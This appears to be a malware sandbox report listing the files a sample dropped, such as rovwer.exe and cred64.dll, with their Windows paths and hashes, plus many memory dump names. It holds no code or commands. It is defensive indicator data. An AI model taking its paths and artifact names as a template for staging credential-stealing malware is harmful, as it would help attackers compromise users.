SHA256 00c82e3217c107a3ae691fca5fb625563537daeac130504b6e5c12b6be605741
MD5 c5caf031060a1b58100250bd6d10c952
SHA1 497058834fe45cca83524c7e4b8574b7691ea065
SHA512 c6b92134509cfa1b91f5ed61b2785b6be255066cdc51ac01af531d1bf64f41f724bbc4710541609645c7ffcde5edc14d4c9ee97da1d94f787056683fd95f05bf
SSDEEP 12288:xfG4J68IKAIAPA+w2Cf/tUdCEiGKI/HQPU+qW2Y0ZuXXLz5I87X3r2ophXsXyTZu:xfG4Q8IKAIAlIEiGK+HQPU+v0CzxX7N+
MD5 SHA1 SHA512 SSDEEP

Submit Download

4951.exe

Path C:\Users\Admin\AppData\Local\Temp\4951.exe
Size 1.1MB
SHA256 a232ab45ccd355e5ba96a254edcc53deb2bcbf154610732b444cb5d6d07ce401
MD5 ae30203171ea1b8be4017efcab8dd23e
SHA1 597c1cbc27659181318bd9d4f44fcd55abc4e36e
SHA512 b1a963f6b0953673145191540e22d9eee4039efccbb8bf153517ba63257a056000a15fd52edf4c6a2dd572cca5267d675a174694c694e408d9a006e4dc933f04
SSDEEP 24576:ql9JRI0hTOg0TS6LrZC2VolZZ97KSWur5:ql9HI0lOzrvkASl5
MD5 SHA1 SHA512 SSDEEP

Submit Download

4951.exe

Path C:\Users\Admin\AppData\Local\Temp\4951.exe
Size 1.1MB
SHA256 a232ab45ccd355e5ba96a254edcc53deb2bcbf154610732b444cb5d6d07ce401
MD5 ae30203171ea1b8be4017efcab8dd23e
SHA1 597c1cbc27659181318bd9d4f44fcd55abc4e36e
SHA512 b1a963f6b0953673145191540e22d9eee4039efccbb8bf153517ba63257a056000a15fd52edf4c6a2dd572cca5267d675a174694c694e408d9a006e4dc933f04
SSDEEP 24576:ql9JRI0hTOg0TS6LrZC2VolZZ97KSWur5:ql9HI0lOzrvkASl5
MD5 SHA1 SHA512 SSDEEP

Submit Download

53B3.exe

Path C:\Users\Admin\AppData\Local\Temp\53B3.exe
Size 3.0MB
SHA256 546ce8707876333ffe5daa51296df655893fcbc10bf7a1860f9c56d0195d56ff
MD5 726a29c9c5b06719f0a54be5f7dfad16
SHA1 89f8aee5ab571dcd162c091af9e299d0e03583f1
SHA512 aeba8b88528ba1da11651ec162d62d0aa5a9732643f313194c4d97677a4613d48120feac60b469d15dff69a6fc193775b86a7bb254c90c13ea371eb38559dfbb
SSDEEP 49152:3BCKDJT3+fvet78y+jrwf2jHuyEYxdHonUk1y9zgc8c+XNedmEYpQyuyEJa5mnWo:xN3Mubua3EVHks9z7/+smERyiJclOme
MD5 SHA1 SHA512 SSDEEP

Submit Download

53B3.exe

Path C:\Users\Admin\AppData\Local\Temp\53B3.exe
Size 3.0MB
SHA256 546ce8707876333ffe5daa51296df655893fcbc10bf7a1860f9c56d0195d56ff
MD5 726a29c9c5b06719f0a54be5f7dfad16
SHA1 89f8aee5ab571dcd162c091af9e299d0e03583f1
SHA512 aeba8b88528ba1da11651ec162d62d0aa5a9732643f313194c4d97677a4613d48120feac60b469d15dff69a6fc193775b86a7bb254c90c13ea371eb38559dfbb
SSDEEP 49152:3BCKDJT3+fvet78y+jrwf2jHuyEYxdHonUk1y9zgc8c+XNedmEYpQyuyEJa5mnWo:xN3Mubua3EVHks9z7/+smERyiJclOme
MD5 SHA1 SHA512 SSDEEP

Submit Download

rovwer.exe

Path C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
Size 410KB
SHA256 59e511d954f56d75509cecc7b6b18d9d93ce921b40c4b293c9548e12bf1600b2
MD5 0b7aee99ad817b15f0a856b26fcbf789
SHA1 9f0c92516944cef31ff2c9dd9aa7d302e3ee4651
SHA512 5d1cb5d9fcdb7f9452d97fb650a18d7fdef9a8df3a5dea3ddb24289a6e9860b048a581ad5f20d1880094c1661ea50c0606a347ebeae0c017409270d80b6aece5
SSDEEP 6144:qkbTGB/L+Z7JDZFQwoEGOwPZS68EKk2Ghdn77MAMa3C/wKXwOu1ql:qkG/yZ7JwIG9PdXnh+AM3RUql
MD5 SHA1 SHA512 SSDEEP

Submit Download

rovwer.exe

Path C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
Size 410KB
SHA256 59e511d954f56d75509cecc7b6b18d9d93ce921b40c4b293c9548e12bf1600b2
MD5 0b7aee99ad817b15f0a856b26fcbf789
SHA1 9f0c92516944cef31ff2c9dd9aa7d302e3ee4651
SHA512 5d1cb5d9fcdb7f9452d97fb650a18d7fdef9a8df3a5dea3ddb24289a6e9860b048a581ad5f20d1880094c1661ea50c0606a347ebeae0c017409270d80b6aece5
SSDEEP 6144:qkbTGB/L+Z7JDZFQwoEGOwPZS68EKk2Ghdn77MAMa3C/wKXwOu1ql:qkG/yZ7JwIG9PdXnh+AM3RUql
MD5 SHA1 SHA512 SSDEEP

Submit Download

rovwer.exe

Path C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
Size 410KB
SHA256 59e511d954f56d75509cecc7b6b18d9d93ce921b40c4b293c9548e12bf1600b2
MD5 0b7aee99ad817b15f0a856b26fcbf789
SHA1 9f0c92516944cef31ff2c9dd9aa7d302e3ee4651
SHA512 5d1cb5d9fcdb7f9452d97fb650a18d7fdef9a8df3a5dea3ddb24289a6e9860b048a581ad5f20d1880094c1661ea50c0606a347ebeae0c017409270d80b6aece5
SSDEEP 6144:qkbTGB/L+Z7JDZFQwoEGOwPZS68EKk2Ghdn77MAMa3C/wKXwOu1ql:qkG/yZ7JwIG9PdXnh+AM3RUql
MD5 SHA1 SHA512 SSDEEP

Submit Download

rovwer.exe

Path C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
Size 410KB
SHA256 59e511d954f56d75509cecc7b6b18d9d93ce921b40c4b293c9548e12bf1600b2
MD5 0b7aee99ad817b15f0a856b26fcbf789
SHA1 9f0c92516944cef31ff2c9dd9aa7d302e3ee4651
SHA512 5d1cb5d9fcdb7f9452d97fb650a18d7fdef9a8df3a5dea3ddb24289a6e9860b048a581ad5f20d1880094c1661ea50c0606a347ebeae0c017409270d80b6aece5
SSDEEP 6144:qkbTGB/L+Z7JDZFQwoEGOwPZS68EKk2Ghdn77MAMa3C/wKXwOu1ql:qkG/yZ7JwIG9PdXnh+AM3RUql
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp5709.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp5709.tmp.bat
Size 153B
SHA256 c723371524621581c5aa73aee0aebe3eb7336c6eaf808ac39ba43d0355d94b99
MD5 8a0869446607890d296fd2ef86392bd0
SHA1 3601de5c0db2caed131d739063cd56b6016719d4
SHA512 e30d4f04ee69a083882589067e76aa4d9e08ee2e3159657627c319607dedaa0dbfbd9411d84e70ea275991c72a4f35cd96cd82bf1f401417a629605c1740407c
MD5 SHA1 SHA512

Submit Download

cred64.dll

Path C:\Users\Admin\AppData\Roaming\80b59841e5c623\cred64.dll
Size 126KB
SHA256 351fd9b73fa0cbbdfbce0793ca41544f5191650d79317a34024f3c09f73ac9ba
MD5 522adad0782501491314a78c7f32006b
SHA1 e487edceeef3a41e2a8eea1e684bcbc3b39adb97
SHA512 5f8a103deea3ed5f8641d1f4c91a4f891a8208b679cadbfac4a068afbad0d2f777cd29ace4bdfec590e722435473e4f8465fb80d5cda792dc0236646580101a7
SSDEEP 3072:ox7pOYzBekEmWDWCMq6As523HeS9FAiZ87vO2rlL3Rnu9:ox7ZNhE/dMq6AO0a7vVlT
MD5 SHA1 SHA512 SSDEEP

Submit Download

cred64.dll

Path C:\Users\Admin\AppData\Roaming\80b59841e5c623\cred64.dll
Size 126KB
SHA256 351fd9b73fa0cbbdfbce0793ca41544f5191650d79317a34024f3c09f73ac9ba
MD5 522adad0782501491314a78c7f32006b
SHA1 e487edceeef3a41e2a8eea1e684bcbc3b39adb97
SHA512 5f8a103deea3ed5f8641d1f4c91a4f891a8208b679cadbfac4a068afbad0d2f777cd29ace4bdfec590e722435473e4f8465fb80d5cda792dc0236646580101a7
SSDEEP 3072:ox7pOYzBekEmWDWCMq6As523HeS9FAiZ87vO2rlL3Rnu9:ox7ZNhE/dMq6AO0a7vVlT
MD5 SHA1 SHA512 SSDEEP

Submit Download

EAEHCHcAAKSescACHUHCAAHKhACsKfCeCHhFCAHFAEehaheeHsAKhuh.exe

Path C:\Users\Admin\AppData\Roaming\EAEHCHcAAKSescACHUHCAAHKhACsKfCeCHhFCAHFAEehaheeHsAKhuh.exe
Size 836KB
SHA256 b0319fee29612b6f40ee9a9368cc23273c233547d9b1aa3bb551f8b57496ceb9
MD5 edb6463d39eb1305c07400d169a40eba
SHA1 456f4da4c204f7dd77af1834275213f663128e11
SHA512 ab03697252ef332f4c8373bc47e3584302b58d3b314cecf9f9f39b3bbc7b1771080671185c4d29d57b1cfcc605afe70132ece7667d638a64096853e6d7c72306
SSDEEP 6144:HgGv6iCpWAVXJmr7DbuoPv/yQzts/2PCKuGOlC6J07BkzTSckPo924m3U2G4zJrZ:PH+roH/y+tU2h20zcm42Kkgkv0G
MD5 SHA1 SHA512 SSDEEP

Submit Download

EAEHCHcAAKSescACHUHCAAHKhACsKfCeCHhFCAHFAEehaheeHsAKhuh.exe

Path C:\Users\Admin\AppData\Roaming\EAEHCHcAAKSescACHUHCAAHKhACsKfCeCHhFCAHFAEehaheeHsAKhuh.exe
Size 836KB
SHA256 b0319fee29612b6f40ee9a9368cc23273c233547d9b1aa3bb551f8b57496ceb9
MD5 edb6463d39eb1305c07400d169a40eba
SHA1 456f4da4c204f7dd77af1834275213f663128e11
SHA512 ab03697252ef332f4c8373bc47e3584302b58d3b314cecf9f9f39b3bbc7b1771080671185c4d29d57b1cfcc605afe70132ece7667d638a64096853e6d7c72306
SSDEEP 6144:HgGv6iCpWAVXJmr7DbuoPv/yQzts/2PCKuGOlC6J07BkzTSckPo924m3U2G4zJrZ:PH+roH/y+tU2h20zcm42Kkgkv0G
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1180-154-0x0000000000400000-0x00000000005B0000-memory.dmp

Download

memory/1180-210-0x0000000006940000-0x0000000006E6C000-memory.dmp

Download

memory/1180-153-0x000000000088D000-0x00000000008C3000-memory.dmp

Download

memory/1180-209-0x0000000006770000-0x0000000006932000-memory.dmp

Download

memory/1180-246-0x0000000000400000-0x00000000005B0000-memory.dmp

Download

memory/1180-247-0x000000000088D000-0x00000000008C3000-memory.dmp

Download

memory/1180-198-0x000000000088D000-0x00000000008C3000-memory.dmp

Download

memory/1356-224-0x0000000000560000-0x000000000056C000-memory.dmp

Download

memory/1356-223-0x0000000000570000-0x0000000000576000-memory.dmp

Download

memory/1496-258-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1496-256-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1496-259-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1704-233-0x0000000000950000-0x0000000000959000-memory.dmp

Download

memory/1704-232-0x0000000000960000-0x0000000000965000-memory.dmp

Download

memory/1892-201-0x0000000000400000-0x0000000000428000-memory.dmp

Download

memory/2752-218-0x0000000000CC0000-0x0000000000CC9000-memory.dmp

Download

memory/2752-215-0x0000000000CB0000-0x0000000000CBF000-memory.dmp

Download

memory/3052-230-0x0000000000ABA000-0x0000000000AD9000-memory.dmp

Download

memory/3052-173-0x0000000000ABA000-0x0000000000AD9000-memory.dmp

Download

memory/3052-231-0x0000000000400000-0x0000000000869000-memory.dmp

Download

memory/3052-176-0x0000000000400000-0x0000000000869000-memory.dmp

Download

memory/3164-199-0x00000000001F0000-0x00000000002A1000-memory.dmp

Download

memory/3568-237-0x0000000000CC0000-0x0000000000CCB000-memory.dmp

Download

memory/3568-236-0x0000000000CD0000-0x0000000000CD6000-memory.dmp

Download

memory/3720-244-0x0000000000780000-0x0000000000788000-memory.dmp

Download

memory/3720-245-0x0000000000770000-0x000000000077B000-memory.dmp

Download

memory/4052-220-0x0000000001330000-0x0000000001339000-memory.dmp

Download

memory/4052-219-0x0000000001340000-0x0000000001345000-memory.dmp

Download

memory/4148-214-0x00007FFCA8350000-0x00007FFCA8E11000-memory.dmp

Download

memory/4148-249-0x00007FFCA8350000-0x00007FFCA8E11000-memory.dmp

Download

memory/4276-167-0x0000000000E40000-0x0000000000F60000-memory.dmp

Download

memory/4276-175-0x00007FFCA8350000-0x00007FFCA8E11000-memory.dmp

Download

memory/4360-178-0x00007FFCA8350000-0x00007FFCA8E11000-memory.dmp

Download

memory/4360-189-0x00007FFCA8350000-0x00007FFCA8E11000-memory.dmp

Download

memory/4360-171-0x0000000000890000-0x0000000000966000-memory.dmp

Download

memory/4472-192-0x0000000000400000-0x0000000000BEB000-memory.dmp

Download

memory/4472-187-0x0000000000400000-0x0000000000BEB000-memory.dmp

Download

memory/4472-185-0x0000000000400000-0x0000000000BEB000-memory.dmp

Download

memory/4472-183-0x0000000000400000-0x0000000000BEB000-memory.dmp

Download

memory/4472-186-0x0000000000400000-0x0000000000BEB000-memory.dmp

Download

memory/4476-194-0x0000000005D30000-0x0000000005D96000-memory.dmp

Download

memory/4476-196-0x00000000065B0000-0x0000000006626000-memory.dmp

Download

memory/4476-140-0x000000000069D000-0x00000000006D3000-memory.dmp

Download

memory/4476-225-0x00000000078D0000-0x00000000078EE000-memory.dmp

Download

memory/4476-141-0x00000000021F0000-0x0000000002248000-memory.dmp

Download

memory/4476-142-0x0000000000400000-0x00000000005B0000-memory.dmp

Download

memory/4476-143-0x00000000051C0000-0x00000000057D8000-memory.dmp

Download

memory/4476-241-0x000000000069D000-0x00000000006D3000-memory.dmp

Download

memory/4476-195-0x0000000006560000-0x00000000065B0000-memory.dmp

Download

memory/4476-193-0x0000000005C90000-0x0000000005D22000-memory.dmp

Download

memory/4476-139-0x0000000004BC0000-0x0000000005164000-memory.dmp

Download

memory/4476-144-0x0000000005850000-0x0000000005862000-memory.dmp

Download

memory/4476-145-0x0000000005870000-0x000000000597A000-memory.dmp

Download

memory/4476-146-0x0000000005980000-0x00000000059BC000-memory.dmp

Download

memory/4476-242-0x0000000000400000-0x00000000005B0000-memory.dmp

Download

memory/4476-172-0x000000000069D000-0x00000000006D3000-memory.dmp

Download

memory/4536-227-0x0000000001360000-0x0000000001382000-memory.dmp

Download

memory/4536-228-0x0000000001330000-0x0000000001357000-memory.dmp

Download

memory/4592-248-0x0000000000660000-0x0000000000667000-memory.dmp

Download

memory/4592-211-0x0000000000660000-0x0000000000667000-memory.dmp

Download

memory/4592-213-0x0000000000650000-0x000000000065B000-memory.dmp

Download

memory/4828-132-0x0000000000A1B000-0x0000000000A31000-memory.dmp

Download

memory/4828-133-0x00000000009B0000-0x00000000009B9000-memory.dmp

Download

memory/4828-134-0x0000000000400000-0x000000000085F000-memory.dmp

Download

memory/4828-135-0x0000000000400000-0x000000000085F000-memory.dmp

Download

memory/4844-157-0x0000000000400000-0x0000000000869000-memory.dmp

Download

memory/4844-174-0x0000000000ABA000-0x0000000000AD9000-memory.dmp

Download

memory/4844-156-0x0000000002480000-0x00000000024BE000-memory.dmp

Download

memory/4844-177-0x0000000000400000-0x0000000000869000-memory.dmp

Download

memory/4844-155-0x0000000000ABA000-0x0000000000AD9000-memory.dmp

Download

memory/4912-243-0x0000000000350000-0x0000000000357000-memory.dmp

Download

memory/4912-238-0x0000000000340000-0x000000000034D000-memory.dmp

Download